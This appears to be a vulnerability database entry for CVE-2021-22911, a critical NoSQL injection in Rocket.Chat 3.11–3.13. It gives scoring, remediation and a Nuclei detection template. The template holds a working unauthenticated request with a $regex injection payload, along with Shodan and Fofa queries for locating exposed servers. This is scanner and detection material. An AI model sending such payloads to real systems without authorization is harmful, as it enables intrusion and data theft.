SecurityContext

CVE-2021-22911: Rocket.Chat <=3.13 - NoSQL Injection

Classification

  • Cwe: CWE-75
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.95242
  • Epss percentile: 0.99867
  • Cpe: cpe:2.3:a:rocket.chat:rocket.chat:3.11.0:-:*:*:*:*:*:*

Metadata

  • Fofa-query: title="rocket.chat"
  • Google-query: intitle:"rocket.chat"
  • Max-request: 1
  • Product: rocket.chat
  • Shodan-query: http.title:"Rocket.Chat", http.title:"rocket.chat"
  • Vendor: rocket.chat
  • Verified: yes

Products

ProductIndexedUrl
rocket.chat:rocket.chatyes/v1/products/rocket.chat/rocket.chat

Labels

  • Name: Rocket.Chat - NoSQL Injection
  • Impact: Attackers can access, modify sensitive data, or perform unauthorized admin operations, leading to data breach or system compromise.
  • Remediation: Update to the latest version of Rocket.Chat that addresses this vulnerability.
  • Vulnerability type: nosql_injection
  • Vulnerability impact: information_disclosure, data_tampering, privilege_escalation
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2021-22911
  • Not known: requirements

```yaml

id: CVE-2021-22911

info:

name: Rocket.Chat <=3.13 - NoSQL Injection

author: tess,sullo

severity: critical

description: Rocket.Chat 3.11, 3.12 and 3.13 contains a NoSQL injection vulnerability which allows unauthenticated access to an API endpoint. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary NoSQL queries, leading to unauthorized access, data manipulation, or denial of service.

remediation: |

Upgrade Rocket.Chat to a version higher than 3.13 or apply the provided patch to mitigate the vulnerability.

reference:

- http://packetstormsecurity.com/files/162997/Rocket.Chat-3.12.1-NoSQL-Injection-Code-Execution.html

- https://github.com/vulhub/vulhub/tree/master/rocketchat/CVE-2021-22911

- https://hackerone.com/reports/1130721

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22911

- https://blog.sonarsource.com/nosql-injections-in-rocket-chat

- https://nvd.nist.gov/vuln/detail/CVE-2021-22911

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2021-22911

cwe-id: CWE-75,NVD-CWE-Other

epss-score: 0.95242

epss-percentile: 0.99867

cpe: cpe:2.3:a:rocket.chat:rocket.chat:3.11.0:-:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: rocket.chat

product: rocket.chat

shodan-query:

- http.title:"Rocket.Chat"

- http.title:"rocket.chat"

fofa-query: title="rocket.chat"

google-query: intitle:"rocket.chat"

tags: cve2021,cve,rocketchat,nosqli,packetstorm,vulhub,hackerone,rocket.chat,sqli,vkev,vuln

http:

- raw:

- |-

POST /api/v1/method.callAnon/getPasswordPolicy HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json

{"message": "{\"msg\":\"method\", \"method\": \"getPasswordPolicy\", \"params\": [{\"token\": {\"$regex\": \"^{{randstr}}\"}}] }"}

matchers-condition: and

matchers:

- type: word

part: body

words:

- '[error-invalid-user]'

- '"success":true'

condition: and

- type: word

part: header

words:

- application/json

- type: status

status:

- 200

digest: 4b0a00483046022100af3a16c552aae947a9cdb37f1b4cf1cd41e57d4cba8afa3a56f7ac04a8f357da022100d0ab8b3c0cb9029361dcb7d5cd268888a906c26c384b66a5531901db1b4c668d:922c64590222798bb761d5b6d8e72950

```